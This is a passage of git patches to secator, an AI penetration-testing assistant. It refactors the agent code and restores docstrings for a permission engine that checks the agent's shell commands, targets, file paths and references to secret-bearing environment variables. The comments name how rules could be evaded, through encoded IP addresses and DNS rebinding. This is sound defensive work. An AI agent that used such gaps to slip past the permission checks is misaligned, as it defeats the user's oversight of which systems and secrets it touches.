`command` runner from an ALREADY-RUN command's result, without executing it. - - This is the "import" path (as opposed to the "execute" path exercised by - `run()`/`yielder()`): it never spawns a subprocess, it just populates the runner's - state fields from a result that was captured elsewhere, then fires the same - `on_start`/`on_end` hooks a normal run would fire so the imported command persists - like any other runner (e.g. via an `update_runner` hook passed in `hooks`). This is - the forward-looking seam for importing externally-run commands into Secator Cloud. - - Args: - command_line (str): The command line that was run, verbatim. It becomes `self.cmd` - via the constructor -> `_build_cmd()`, same as the live-execution path (with - `input_types = []`, inputs are never type-filtered, so this holds for every - command line, including bare single-word ones like "whoami"). - output (str): Captured stdout of the already-run command. - return_code (int): Process return code of the already-run command. 0 means - success; anything else marks the runner FAILURE (an `Error` result is added - so `self_errors`, which `status` derives from, is non-empty). - start_time (datetime, optional): When the command started (tz-aware). Defaults - to now if omitted. - end_time (datetime, optional): When the command finished (tz-aware). Defaults to - now if omitted. - context (dict, optional): Runner context (workspace, etc), same as the live path. - hooks (dict, optional): Runner hooks (e.g. `on_end: [update_runner]`), same as the - live path -- this is how the imported result gets persisted. - - Returns: - command: the populated runner, in SUCCESS or FAILURE status. `yielder()` / - `run()` are never called, so no subprocess is ever spawned. + """Build a `command` runner from an ALREADY-RUN result, without executing it: the + "import" path (vs. `run()`/`yielder()`'s "execute" path). Populates state fields + from a result captured elsewhere, then fires the same `on_start`/`on_end` hooks so + it persists like any other runner -- the seam for importing externally-run commands + into Secator Cloud. `return_code != 0` marks the runner FAILURE via a synthetic + `Error` result; `start_time`/`end_time` default to now if omitted. Returns the + populated runner (no subprocess is ever spawned). """ runner = cls(inputs=[command_line], context=context or {}, hooks=hooks or {}) @@ -83,12 +54,9 @@ def from_result(cls, command_line, output, return_code, *, start_time=None, end_ runner.output = output runner.return_code = return_code if return_code != 0: - # `status` derives FAILURE from `self_errors` being non-empty (see - # secator/runners/_base.py). add_result() stamps `_source` to this runner's - # unique_name, which is what `_owns_error()` matches on for a task runner. - # output=False is REQUIRED: the default (output=True) would do - # `self.output += repr(item)` (_base.py), appending this synthetic Error's - # ANSI-colored repr onto the caller's captured stdout and corrupting it. + # `status` derives FAILURE from `self_errors` being non-empty; add_result() stamps + # `_source` for `_owns_error()` matching. output=False is REQUIRED -- the default + # would append this synthetic Error's ANSI repr onto the captured stdout, corrupting it. runner.add_result( Error(message=f'Command exited with return code {return_code}'), print=False, From a11d7f7072ed0b67c8e78ad5381fb720a0303b58 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 8 Jul 2026 00:22:07 +0200 Subject: [PATCH 121/129] refactor(ai): dedupe repeated blocks (ponytail-review) _reject_tool_call helper (3 sites), _account_usage loop, _rebuild_prompt_and_tools, _get_query_engine reuse, _format_token_breakdown shared by format_llm_status/prompt_user, drop redundant json import + dead commented line. No behavior change. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- secator/ai/utils.py | 24 ++++++------- secator/tasks/ai.py | 87 ++++++++++++++++++++------------------------- 2 files changed, 49 insertions(+), 62 deletions(-) diff --git a/secator/ai/utils.py b/secator/ai/utils.py index 6facb5224..b9ce28b4c 100644 --- a/secator/ai/utils.py +++ b/secator/ai/utils.py @@ -562,9 +562,8 @@ def log_pre_api_call(self, model, messages, kwargs): tool_name = msg.get("name", msg.get("tool_call_id", "")) title_extra = f" [dim]{tool_name}[/]" try: - import json as _json from rich.pretty import Pretty - data = _json.loads(content) + data = json.loads(content) renderable = Pretty(data) except (ValueError, TypeError): pass @@ -756,8 +755,9 @@ def call_llm( ] -def format_llm_status(token_count, ctx_window, by_role): - """Format a rich status message for LLM calls with token counts and a spinner message.""" +def _format_token_breakdown(token_count, ctx_window, by_role): + """Format the token/context-window/per-role strings shared by the LLM status + spinner and the prompt_user title recap.""" token_str = format_token_count(token_count, icon='arrow_up', compact=True) ctx_str = format_token_count(ctx_window, compact=True) role_parts = [] @@ -765,6 +765,12 @@ def format_llm_status(token_count, ctx_window, by_role): if role in by_role: role_parts.append(f'[orange4]{role}[/]:{format_token_count(by_role[role], compact=True)}') role_str = ' | '.join(role_parts) + return token_str, ctx_str, role_str + + +def format_llm_status(token_count, ctx_window, by_role): + """Format a rich status message for LLM calls with token counts and a spinner message.""" + token_str, ctx_str, role_str = _format_token_breakdown(token_count, ctx_window, by_role) return ( f"[bold orange3]{random.choice(LLM_SPINNER_MESSAGES)}[/]" f" [gray42] • {token_str}/[dim red]{ctx_str}[/] ({role_str})[/]" @@ -777,7 +783,6 @@ def setup_ai(): from rich.prompt import Prompt # Load all models, sort, build color map - # all_models = sorted(litellm.model_list) # TODO: revise this, check why it doesn't list all models all_models = [] all_parts = set() for provider, model_names in litellm.models_by_provider.items(): @@ -929,7 +934,6 @@ def prompt_user(history, encryptor=None, max_iterations=10, choices=None, return None from secator.rich import InteractiveMenu from secator.ai.prompts import format_continue - from secator.utils import format_token_count # Build title with token recap title = "What's next?" @@ -938,13 +942,7 @@ def prompt_user(history, encryptor=None, max_iterations=10, choices=None, from secator.ai.history import get_context_window by_role = history.count_tokens_by_role(model) ctx_window = get_context_window(model) - token_str = format_token_count(by_role['total'], icon='arrow_up', compact=True) - ctx_str = format_token_count(ctx_window, compact=True) - role_parts = [] - for role in ('system', 'user', 'assistant', 'tool'): - if role in by_role: - role_parts.append(f'[orange4]{role}[/]:{format_token_count(by_role[role], compact=True)}') - role_str = ' | '.join(role_parts) + token_str, ctx_str, role_str = _format_token_breakdown(by_role['total'], ctx_window, by_role) title += f" [gray42]• {token_str}/[dim red]{ctx_str}[/] ({role_str})[/]" except Exception: pass diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 6ed57a012..34043500c 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -61,6 +61,18 @@ def fast_detect_mode(prompt): return None +def _reject_tool_call(runner, tool_name, tool_call_id, error_msg, reason): + """Shared body for rejecting a tool call: encrypt the error, record it as the + tool result in history, and return the ``tool_result`` Ai event to yield.""" + _error_content = maybe_encrypt(error_msg, runner.encryptor) + runner.history.add_tool_result(tool_name, tool_call_id, _error_content) + return Ai(content=f"[{tool_name}] {reason}", + ai_type="tool_result", + message=cap_message( + {"role": "tool", "tool_call_id": tool_call_id, "name": tool_name, "content": _error_content}), + _context=dict(runner.context)) + + @task() class ai(PythonRunner): """AI-powered penetration testing assistant (attack or chat mode).""" @@ -214,8 +226,7 @@ def yielder(self) -> Generator: # interactively below), so seed the same "chat" default `_detect_mode()` # uses — the user's next answer re-detects the real mode and overwrites it. self.mode = self.mode or "chat" - self.system_prompt = get_system_prompt(self.mode, workspace_path=str(self.reports_folder), backend=self.backend) - self.tool_schemas = build_tool_schemas(self.mode, is_subagent=self.is_subagent, backend=self.backend) + self._rebuild_prompt_and_tools() self.history = restore_history_from_db( self.session_id, self._get_query_engine(), model=self.model, encryptor=self.encryptor, system_prompt=self.system_prompt) @@ -288,6 +299,14 @@ def yielder(self) -> Generator: # Remote (web) session restore # ------------------------------------------------------------------------- + def _rebuild_prompt_and_tools(self): + """Rebuild system_prompt + tool_schemas for the current mode and store them. + + Returns the ``(system_prompt, tool_schemas)`` pair for callers that want it.""" + self.system_prompt = get_system_prompt(self.mode, workspace_path=str(self.reports_folder), backend=self.backend) + self.tool_schemas = build_tool_schemas(self.mode, is_subagent=self.is_subagent, backend=self.backend) + return self.system_prompt, self.tool_schemas + def _get_query_engine(self): """Build a workspace-scoped QueryEngine from the runner context. @@ -683,7 +702,7 @@ def _init_options(self): self.history = ChatHistory() self.encryptor = SensitiveDataEncryptor() if self.sensitive else None self.has_previous_results = len(self.results) > 0 - self.scope = "current" if self.has_previous_results > 0 else "workspace" + self.scope = "current" if self.has_previous_results else "workspace" self.permission_engine = PermissionEngine( CONFIG.addons.ai.permissions, targets=self.inputs, @@ -766,8 +785,7 @@ def _detect_mode(self, force=False): old_mode = self.mode if old_mode and not force: if not hasattr(self, 'tool_schemas'): - self.system_prompt = get_system_prompt(self.mode, workspace_path=str(self.reports_folder), backend=self.backend) - self.tool_schemas = build_tool_schemas(self.mode, is_subagent=self.is_subagent, backend=self.backend) + self._rebuild_prompt_and_tools() return if not self.prompt: self.mode = "chat" @@ -811,8 +829,7 @@ def _auto_approve_workspace_targets(self): if not workspace_id: return try: - from secator.query import QueryEngine - engine = QueryEngine(workspace_id, context=dict(self.context)) + engine = self._get_query_engine() results = engine.search({"_type": "target"}, limit=1000) target_names = {r.get("name") or r.get("_name", "") for r in results if r} target_names.discard("") @@ -925,12 +942,7 @@ def _process_tool_calls(self, tool_calls, ctx): "expected_schema": {k: v.get("type", "any") for k, v in properties.items()}, "hint": "Retry with properly formatted JSON arguments.", }, separators=(',', ':')) - _error_content = maybe_encrypt(error_msg, self.encryptor) - self.history.add_tool_result(name, tc_id, _error_content) - yield Ai(content=f"[{name}] malformed arguments", - ai_type="tool_result", - message=cap_message({"role": "tool", "tool_call_id": tc_id, "name": name, "content": _error_content}), - _context=dict(self.context)) + yield _reject_tool_call(self, name, tc_id, error_msg, "malformed arguments") continue # Coerce object/array args the model stringified (provider quirk) BEFORE @@ -955,12 +967,7 @@ def _process_tool_calls(self, tool_calls, ctx): "schema": {k: v.get("type", "any") for k, v in params.get("properties", {}).items()}, "hint": "Provide all required fields. Retry with a complete arguments object.", }, separators=(',', ':')) - _error_content = maybe_encrypt(error_msg, self.encryptor) - self.history.add_tool_result(name, tc_id, _error_content) - yield Ai(content=f"[{name}] rejected: {reason}", - ai_type="tool_result", - message=cap_message({"role": "tool", "tool_call_id": tc_id, "name": name, "content": _error_content}), - _context=dict(self.context)) + yield _reject_tool_call(self, name, tc_id, error_msg, f"rejected: {reason}") continue action["tool_call_id"] = tc_id @@ -980,12 +987,7 @@ def _process_tool_calls(self, tool_calls, ctx): denial_display = f"{denial}\n[gray42]{cmd_display}[/gray42]" if cmd_display else denial yield Warning(message=denial_display) error_msg = json.dumps({"error": denial}, separators=(',', ':')) - _error_content = maybe_encrypt(error_msg, self.encryptor) - self.history.add_tool_result(name, tc_id, _error_content) - yield Ai(content=f"[{name}] denied", - ai_type="tool_result", - message=cap_message({"role": "tool", "tool_call_id": tc_id, "name": name, "content": _error_content}), - _context=dict(self.context)) + yield _reject_tool_call(self, name, tc_id, error_msg, "denied") continue actions.append(action) @@ -1115,28 +1117,16 @@ def _account_usage(self, usage): `self.context["ai_tokens"]` etc., read by the platform billing chore.""" if not usage: return - try: - tokens = usage.get("tokens") or 0 - self.context["ai_tokens"] = int(self.context.get("ai_tokens", 0) or 0) + int(tokens) - except (TypeError, ValueError): - pass - try: - prompt_tokens = usage.get("prompt_tokens") or 0 - self.context["ai_prompt_tokens"] = \ - int(self.context.get("ai_prompt_tokens", 0) or 0) + int(prompt_tokens) - except (TypeError, ValueError): - pass - try: - completion_tokens = usage.get("completion_tokens") or 0 - self.context["ai_completion_tokens"] = \ - int(self.context.get("ai_completion_tokens", 0) or 0) + int(completion_tokens) - except (TypeError, ValueError): - pass - try: - cost = usage.get("cost") or 0 - self.context["ai_cost"] = float(self.context.get("ai_cost", 0.0) or 0.0) + float(cost) - except (TypeError, ValueError): - pass + for usage_key, ctx_key, cast in ( + ("tokens", "ai_tokens", int), + ("prompt_tokens", "ai_prompt_tokens", int), + ("completion_tokens", "ai_completion_tokens", int), + ("cost", "ai_cost", float), + ): + try: + self.context[ctx_key] = cast(self.context.get(ctx_key, 0) or 0) + cast(usage.get(usage_key) or 0) + except (TypeError, ValueError): + pass def _drain_history_usage(self): """Roll billed usage accrued by history summarization into context.ai_tokens. @@ -1232,8 +1222,7 @@ def _prompt_and_redetect(self, choices, prompt_uuid=None): # Handle explicit mode switch (e.g. summarize → chat) if response.get("switch_mode"): self.mode = response["switch_mode"] - self.system_prompt = get_system_prompt(self.mode, workspace_path=str(self.reports_folder), backend=self.backend) - self.tool_schemas = build_tool_schemas(self.mode, is_subagent=self.is_subagent, backend=self.backend) + self._rebuild_prompt_and_tools() self.history.set_system(maybe_encrypt(self.system_prompt, self.encryptor)) self.max_iterations += extra_iters items.append(Info(message=f"Switched to {self.mode} mode")) From bd0223325ea9b85854e2a6f1cbbe179b3ffdca12 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 8 Jul 2026 00:27:43 +0200 Subject: [PATCH 122/129] refactor(ai): restore multi-line docstrings (only # comments should be terse) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Reverts the docstring shortening from the comment-trim pass — docstrings are back to their original multi-line form across the AI module; inline # comment trims kept. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- secator/ai/encryption.py | 31 ++++- secator/ai/guardrails.py | 219 +++++++++++++++++++++++++++++------- secator/ai/history.py | 178 +++++++++++++++++++++++------ secator/ai/interactivity.py | 87 ++++++++++---- secator/ai/prompts.py | 73 ++++++++++-- secator/ai/session.py | 97 ++++++++++++---- secator/ai/tools.py | 37 ++++-- secator/tasks/ai.py | 100 +++++++++++----- secator/tasks/command.py | 43 +++++-- 9 files changed, 682 insertions(+), 183 deletions(-) diff --git a/secator/ai/encryption.py b/secator/ai/encryption.py index e81a0faa6..4aa3ed3f0 100644 --- a/secator/ai/encryption.py +++ b/secator/ai/encryption.py @@ -27,8 +27,12 @@ def _is_hash_filename(hostname: str) -> bool: - """Return True if hostname looks like a hash filename (e.g. sha1.txt, - md5.json) rather than a real host, to avoid false-positive PII encryption.""" + """Return True if the matched hostname looks like a hash filename rather than a real host. + + Prevents false-positive encryption of paths like: + fefdc75b8092569ffdaaf5c91522f10d063a93d2.txt (SHA-1 hash from httpx) + d41d8cd98f00b204e9800998ecf8427e.json (MD5 hash) + """ dot_idx = hostname.rfind('.') if dot_idx < 0: return False @@ -47,16 +51,31 @@ def maybe_encrypt(text, encryptor): class SensitiveDataEncryptor: - """Reversibly "encrypt" PII in text via salted SHA-256-hashed placeholders, - restorable with decrypt().""" + """Encrypt sensitive data using SHA-256 hashing with salt. + + This class provides reversible encryption of sensitive data (PII) in text + by replacing matches with hashed placeholders. The original values can be + restored using the decrypt method. + + Attributes: + salt: Salt string used for hashing to ensure unique placeholders. + pii_map: Mapping of placeholders to original values. + hash_map: Mapping of bare hashes to original values. + custom_patterns: List of compiled regex patterns for custom PII types. + """ def __init__( self, salt: str = "secator_pii_salt", custom_patterns: Optional[List[str]] = None ) -> None: - """Initialize with optional salt and custom_patterns (regex or literal - strings; '#'-prefixed entries are ignored).""" + """Initialize the encryptor with optional salt and custom patterns. + + Args: + salt: Salt string used for hashing. Defaults to "secator_pii_salt". + custom_patterns: Optional list of regex patterns or literal strings + to match as custom PII types. Lines starting with '#' are ignored. + """ self.salt = salt self.pii_map: Dict[str, str] = {} # placeholder -> original self.hash_map: Dict[str, str] = {} # bare hash -> original diff --git a/secator/ai/guardrails.py b/secator/ai/guardrails.py index 2efb9add2..83d1f6b30 100644 --- a/secator/ai/guardrails.py +++ b/secator/ai/guardrails.py @@ -83,7 +83,14 @@ def _split_cmd_string(s: str) -> List[str]: def parse_rule(rule: str) -> Tuple[str, List[str]]: - """Parse a rule string like 'target(10.0.0.1,example.com)' into (type, patterns).""" + """Parse a rule string like 'target(10.0.0.1,example.com)' into (type, patterns). + + Args: + rule: Rule string in format 'type(value1,value2,...)' + + Returns: + Tuple of (rule_type, list_of_patterns) + """ match = re.match(r'^(\w+)\((.+)\)$', rule) if not match: return ("unknown", [rule]) @@ -98,9 +105,11 @@ def parse_rule(rule: str) -> Tuple[str, List[str]]: def _normalize_ip(candidate: str) -> Optional[IPAddress]: - """M8: normalize encoded IPs (decimal/hex/octal int, dotted-hex/octal, IPv6-mapped) so - alternate encodings can't evade IP rules. None for non-IPs (hostnames aren't resolved here; - DNS rebinding is a documented residual).""" + """M8: normalize encoded IPs (decimal/hex/octal int, dotted-hex/octal, IPv6-mapped) to an ip_address. + + Returns None if the candidate is not an IP (e.g. a hostname) so callers fall back to literal matching. + Hostnames are NOT resolved here (DNS rebinding is a documented residual). + """ s = candidate.strip() if not s: return None @@ -144,9 +153,23 @@ def _ip_in_pattern(ip: IPAddress, pattern: str) -> Optional[bool]: def match_rule(value: str, patterns: List[str]) -> bool: - """Check if a value matches any pattern: exact, '*', fnmatch glob, '{port}' (:\\d+), - path basename (e.g. '.env' matches '/home/user/.env'), or M8 normalized IP/CIDR - (encoded IPs canonicalized first so alternate encodings can't evade IP rules).""" + """Check if a value matches any of the given patterns. + + Supports: + - Exact match + - Wildcard '*' (matches everything) + - Glob patterns (fnmatch) + - {port} variable (matches :\\d+) + - Basename matching for path-like values (e.g. '.env' matches '/home/user/.env') + - M8: IP/CIDR patterns are matched by normalized address (encoded IPs are canonicalized first) + + Args: + value: The value to check + patterns: List of patterns to match against + + Returns: + True if value matches any pattern + """ # M8: normalize encoded IPs before deny/allow match so alternate encodings can't evade IP rules norm_ip = _normalize_ip(value) canon = str(norm_ip) if norm_ip is not None else None @@ -184,8 +207,10 @@ def match_rule(value: str, patterns: List[str]) -> bool: def _is_file_path(value: str) -> bool: - """Check if a value looks like a file path (vs a network target), via explicit - path prefixes or filesystem existence checks.""" + """Check if a value looks like a file path rather than a network target. + + Uses explicit path prefixes and filesystem existence checks. + """ # URLs are not file paths if value.startswith(('http://', 'https://', 'ftp://')): return False @@ -238,8 +263,16 @@ def _resolves(hostname: str) -> bool: def extract_command_targets(command: str) -> List[str]: """Extract target-like values (IPs, hosts, URLs) from a shell command string. - Uses safecmd's parsed sub-command args (naturally excludes heredocs/quoted code - strings); falls back to regex on the raw string if parsing fails.""" + Uses safecmd's parsed sub-command arguments and checks each individually, + which naturally excludes heredoc content, quoted code strings, etc. + Falls back to regex on raw string if parsing fails. + + Args: + command: Shell command string + + Returns: + List of detected target strings + """ targets = [] seen = set() @@ -316,9 +349,17 @@ def _check_arg(arg: str): def _warn_shell_parser_unavailable(reason: str) -> None: - """Warn ONCE that the shfmt-based shell parser is unavailable, so callers fall back - to whole-command approval. A Warning not an Error: ``litellm`` (the ai addon) can be - installed while ``safecmd``/``shfmt`` is not — that just makes guardrails coarser.""" + """Warn ONCE that the shfmt-based shell parser is unavailable, then let the + caller fall back to the non-shfmt path (whole-command approval). + + This is deliberately a Warning, not an Error, and it does NOT claim the ai + addon is missing: ``litellm`` (the ai addon) can be installed while the shell + parser — ``safecmd`` + the ``shfmt`` binary it shells out to — is not. Without + it the guardrail can't split a command into sub-commands, so + ``_check_action_type`` falls back to asking the user to approve the whole + command (safe, just coarser). Warn once so a long agent run isn't spammed on + every shell command. + """ global _SHELL_PARSER_WARNED if _SHELL_PARSER_WARNED: return @@ -333,9 +374,18 @@ def _warn_shell_parser_unavailable(reason: str) -> None: def _parse_subcommands(command: str) -> List[List[str]]: - """Parse a shell command into sub-command token lists via safecmd/shfmt (handles - pipes, &&, ||, ;, subshells, substitutions). Returns [] on parse failure (caller - should prompt the user to approve the whole command).""" + """Parse a shell command into sub-command token lists via safecmd's parser. + + Uses shfmt (via safecmd) to properly parse pipes, &&, ||, ;, subshells, + and command substitutions. Returns an empty list if parsing fails (caller + should prompt the user to approve the whole command). + + Args: + command: Full shell command string + + Returns: + List of token lists, one per sub-command, or [] if parsing fails. + """ try: from safecmd.bashxtract import extract_commands except ImportError: @@ -372,7 +422,9 @@ def _is_wrapper_operand(token: str) -> bool: def _peel_wrapper(args: List[str]) -> List[str]: """Strip leading exec-wrapper binaries to reach the inner command's tokens. - Bare `env`/`sudo` (no inner command) is returned as-is, still checked by name.""" + + Bare `env`/`sudo` (no inner command) is returned as-is so it's still checked by name. + """ wrappers = _exec_wrappers() tokens = args for _ in range(len(args)): # bounded peels (guards against pathological nesting) @@ -419,8 +471,13 @@ def _match_command_glob(command: str, pattern: str) -> bool: def _resolve_path(path: str, cwd: str = "") -> str: - """Resolve a path to absolute for consistent rule matching. `cwd` is the effective - working directory tracked from `cd` in the shell chain; empty uses the real CWD.""" + """Resolve a path to absolute for consistent rule matching. + + Args: + path: The path to resolve + cwd: Effective working directory (from cd commands in the shell chain). + If empty, uses the real CWD. + """ from pathlib import Path try: p = Path(path).expanduser() @@ -432,9 +489,18 @@ def _resolve_path(path: str, cwd: str = "") -> str: def detect_paths_with_access(command: str) -> List[Tuple[str, str]]: - """Extract (resolved_path, access_type) tuples from a shell command via safecmd's - bash parser. Redirects (>, >>, 2>) are always 'write'; other paths take the - access type of their sub-command's classification.""" + """Extract file paths with access type from a shell command string. + + Uses safecmd's bash parser (shfmt) for proper argument splitting. + Redirects (>, >>, 2>) are always classified as 'write'. + Other paths are classified based on the sub-command's classification. + + Args: + command: Shell command string + + Returns: + List of (resolved_path, access_type) tuples where access_type is 'read' or 'write' + """ seen = set() paths = [] effective_cwd = "" # tracks cd commands in the shell chain @@ -536,8 +602,16 @@ def _extract_docker_volumes(args: List[str]): def detect_paths(command: str) -> List[str]: - """Extract file paths from a shell command string, splitting compound commands - (&&, ||, ;, |) first.""" + """Extract file paths from a shell command string. + + Handles compound commands (&&, ||, ;, |) by splitting first. + + Args: + command: Shell command string + + Returns: + List of detected file paths + """ return [path for path, _ in detect_paths_with_access(command)] @@ -548,13 +622,26 @@ def detect_paths(command: str) -> List[str]: def detect_sensitive_env_vars(command: str) -> List[str]: - """Detect $VAR / ${VAR} references whose name contains KEY, SECRET, TOKEN, PASSWORD, - PASSWD, CREDENTIAL, or AUTH; returns the matched variable names.""" + """Detect references to sensitive environment variables in a command. + + Matches $VAR and ${VAR} patterns where the variable name contains + KEY, SECRET, TOKEN, PASSWORD, PASSWD, CREDENTIAL, or AUTH. + + Returns: + List of matched variable names (e.g. ['ANTHROPIC_API_KEY']) + """ return list(set(SENSITIVE_ENV_PATTERNS.findall(command))) def classify_command(cmd_name: str) -> str: - """Classify a command name as one of: 'read', 'write', 'execute', 'other'.""" + """Classify a command as read, write, execute, or other. + + Args: + cmd_name: The command name (first token) + + Returns: + One of: 'read', 'write', 'execute', 'other' + """ base = cmd_name.rsplit('/', 1)[-1] if base in READ_COMMANDS: return "read" @@ -566,8 +653,14 @@ def classify_command(cmd_name: str) -> str: def build_target_choices(target: str) -> List[Dict]: - """Build multi-select choices (label/rules/selected dicts) for an unknown target - (IP, host, domain, or URL).""" + """Build multi-select choices for an unknown target. + + Args: + target: The target string (IP, host, domain, or URL) + + Returns: + List of choice dicts with label, rules, selected keys + """ from urllib.parse import urlparse # Detect if target is a URL and extract components @@ -822,9 +915,13 @@ def _has_rules_for(self, rule_type: str) -> bool: return any(rt == rule_type for rt, _ in self.runtime_allow) def _check_action_type(self, action_type: str, action: Dict) -> PermissionResult: - """Check if the action type is allowed/denied/ask. For shell, splits sub-commands via - safecmd/shfmt and returns the most restrictive result (deny > ask > allow); a parse - failure (e.g. unbalanced quotes) prompts for the whole command.""" + """Check if the action type is allowed/denied/ask. + + For shell commands, uses safecmd's bash parser (shfmt) to extract + sub-commands from pipes, &&, ||, ;, and subshells. When parsing fails + (e.g. unbalanced quotes from LLM), prompts the user for the whole command. + Returns the most restrictive result (deny > ask > allow). + """ if action_type == "shell": command = action.get("command", "") if not command.strip(): @@ -899,8 +996,11 @@ def _match_shell_command_deny(self, tokens: List[str]) -> str: return "" def _check_value(self, rule_type: str, value: str) -> PermissionResult: - """Check a single value. Order: deny > allow > ask > deny. For target rules, URL - values are also checked by host and host:port so 'example.com:8080' covers all its URLs.""" + """Check a single value. Order: deny > allow > ask > deny. + + For target rules, URL values are also checked by their host and host:port + components so that approving 'example.com:8080' covers all URLs under it. + """ # Build list of values to check (original + URL components for targets) values_to_check = [value] if rule_type == "target" and value.startswith(('http://', 'https://')): @@ -992,8 +1092,16 @@ def add_runtime_allow(self, rules: List[str]) -> None: self.runtime_allow.append((rule_type, patterns)) def prompt_target(self, target: str, interactive: bool = True, command: str = "") -> str: - """Show interactive prompt for an unknown target; returns 'allow' or 'deny'. - `interactive=False` auto-denies without prompting.""" + """Show interactive prompt for an unknown target. + + Args: + target: The target string that needs approval + interactive: If False, auto-deny without prompting + command: The shell command triggering this prompt (for display) + + Returns: + 'allow' or 'deny' + """ if not interactive: return "deny" @@ -1019,8 +1127,17 @@ def prompt_target(self, target: str, interactive: bool = True, command: str = "" return "allow" def prompt_path(self, path: str, access_type: str = "read", interactive: bool = True, command: str = "") -> str: - """Show interactive prompt for a path access request (read/write); returns 'allow' - or 'deny'. `interactive=False` auto-denies without prompting.""" + """Show interactive prompt for a path access request. + + Args: + path: The file path that needs approval + access_type: 'read' or 'write' + interactive: If False, auto-deny without prompting + command: The shell command triggering this prompt (for display) + + Returns: + 'allow' or 'deny' + """ if not interactive: return "deny" @@ -1052,8 +1169,16 @@ def prompt_path(self, path: str, access_type: str = "read", interactive: bool = return "allow" def prompt_shell(self, command: str, reason: str = "", interactive: bool = True) -> str: - """Show interactive prompt for a shell command that needs approval; returns 'allow' - or 'deny'. `interactive=False` auto-denies without prompting.""" + """Show interactive prompt for a shell command that needs approval. + + Args: + command: The full shell command to approve + reason: Why approval is needed + interactive: If False, auto-deny without prompting + + Returns: + 'allow' or 'deny' + """ if not interactive: return "deny" @@ -1092,8 +1217,16 @@ def prompt_shell(self, command: str, reason: str = "", interactive: bool = True) return "deny" def _show_target_menu(self, target: str, choices: List[Dict], command: str = "") -> List[int]: - """Show interactive menu (separated for testability); returns selected indices, - or None if cancelled.""" + """Show interactive menu. Separated for testability. + + Args: + target: The target being prompted about + choices: List of choice dicts from build_target_choices + command: The shell command triggering this prompt (for display) + + Returns: + List of selected indices, or None if cancelled + """ from secator.rich import InteractiveMenu options = [{"label": choice["label"]} for choice in choices] diff --git a/secator/ai/history.py b/secator/ai/history.py index 8c3b32cdd..7c9ba2103 100644 --- a/secator/ai/history.py +++ b/secator/ai/history.py @@ -41,8 +41,14 @@ def cap_message(msg: dict, max_chars: int = MAX_PERSISTED_MESSAGE_CHARS) -> dict def get_context_window(model: str) -> int: - """Get model's context window size from litellm; falls back to - CONFIG.addons.ai.context_window on error or empty info.""" + """Get model's context window size from litellm. + + Args: + model: LLM model name + + Returns: + Context window size in tokens (falls back to CONFIG.addons.ai.context_window on error or empty info) + """ from secator.config import CONFIG import litellm try: @@ -70,8 +76,19 @@ def truncate_to_tokens( output_dir: Path = None, result_name: str = "result" ) -> str: - """Truncate content to fit within max_tokens; if over budget, save/reference - the full output to a file and append a [TRUNCATED] marker + hint.""" + """Truncate content to fit within token budget, with file fallback. + + Args: + content: Content to truncate + max_tokens: Maximum tokens allowed + model: LLM model name for token counting + fallback_path: Existing file to reference (task/workflow report.json) + output_dir: Directory to save shell output (creates file) + result_name: Prefix for saved filename + + Returns: + Original content if under budget, or truncated with [TRUNCATED] marker + """ import litellm current = litellm.token_counter(model=model, text=content) if current <= max_tokens: @@ -122,8 +139,14 @@ def truncate_to_tokens( @dataclass class ChatHistory: - """Manages chat history in litellm message format -- a thin wrapper around - a list of message dicts passable directly to litellm.completion().""" + """Manages chat history in litellm message format. + + This is a thin wrapper around a list of message dicts that can be + passed directly to litellm.completion(). + + Attributes: + messages: List of message dicts with 'role' and 'content' keys + """ messages: List[Dict[str, str]] = field(default_factory=list) model: Optional[str] = None @@ -139,8 +162,10 @@ def add_system(self, content: str) -> None: self.messages.append({"role": "system", "content": content}) def set_system(self, content: str) -> None: - """Replace the first system message (or insert one at the start); - invalidates its cached token count.""" + """Replace the first system message, or insert one at the start. + + Invalidates any cached token count for the system message. + """ for msg in self.messages: if msg["role"] == "system": msg["content"] = content @@ -156,15 +181,25 @@ def add_assistant(self, content: str) -> None: self.messages.append({"role": "assistant", "content": content}) def add_assistant_with_tool_calls(self, content: Optional[str], tool_calls: list) -> None: - """Add an assistant message with tool calls; content is None when the - LLM returns only tool calls.""" + """Add an assistant message that includes tool calls. + + Args: + content: Optional text content (None when LLM returns only tool calls) + tool_calls: List of tool call dicts from the LLM response + """ msg = {"role": "assistant", "tool_calls": tool_calls} if content is not None: msg["content"] = content self.messages.append(msg) def add_tool_result(self, name: str, tool_call_id: str, content: str) -> None: - """Add a tool result message keyed by tool_call_id (the call this responds to).""" + """Add a tool result message. + + Args: + name: Function name + tool_call_id: ID of the tool call this result responds to + content: The tool's output content + """ msg = {"role": "tool", "tool_call_id": tool_call_id, "name": name, "content": content} if name: msg["name"] = name @@ -174,9 +209,14 @@ def add_tool(self, content: str) -> None: self.messages.append({"role": "tool", "content": content}) def to_messages(self, max_tokens_total: int = 0) -> List[Dict[str, str]]: - """Return a copy of messages, trimmed to the effective budget if needed - (oldest dropped first, system/recent context preserved); max_tokens_total=0 - means no explicit cap.""" + """Return a copy of the messages list, trimming if over the effective budget. + + Uses litellm's trim_messages which preserves system messages and recent + context while removing oldest messages first. + + Args: + max_tokens_total: Requested hard token limit (0 = no explicit cap). + """ budget = self._trim_budget(max_tokens_total) if budget > 0: return self.trim(budget) @@ -185,11 +225,11 @@ def to_messages(self, max_tokens_total: int = 0) -> List[Dict[str, str]]: def _trim_budget(self, max_tokens_total: int = 0) -> int: """Effective trim budget, capped to the model's real context window. - M3: a flat max_tokens_total ignores the model window and can fail with - context_length_exceeded on smaller models, so cap to - get_context_window(model) - OUTPUT_TOKEN_RESERVATION and use it even - with no explicit cap. Falls back to legacy caller-driven behavior if no - model is known. + M3: a flat max_tokens_total (e.g. 100k) ignores the model window and + fails with context_length_exceeded on smaller-window models. Cap it to + get_context_window(model) - OUTPUT_TOKEN_RESERVATION (headroom for the + response), and use that window-derived budget even when no explicit cap + is set. With no model known, keep the legacy caller-driven behavior. """ if not self.model: return max_tokens_total @@ -199,9 +239,17 @@ def _trim_budget(self, max_tokens_total: int = 0) -> int: return window_budget def trim(self, max_tokens: int) -> List[Dict[str, str]]: - """Trim messages to max_tokens 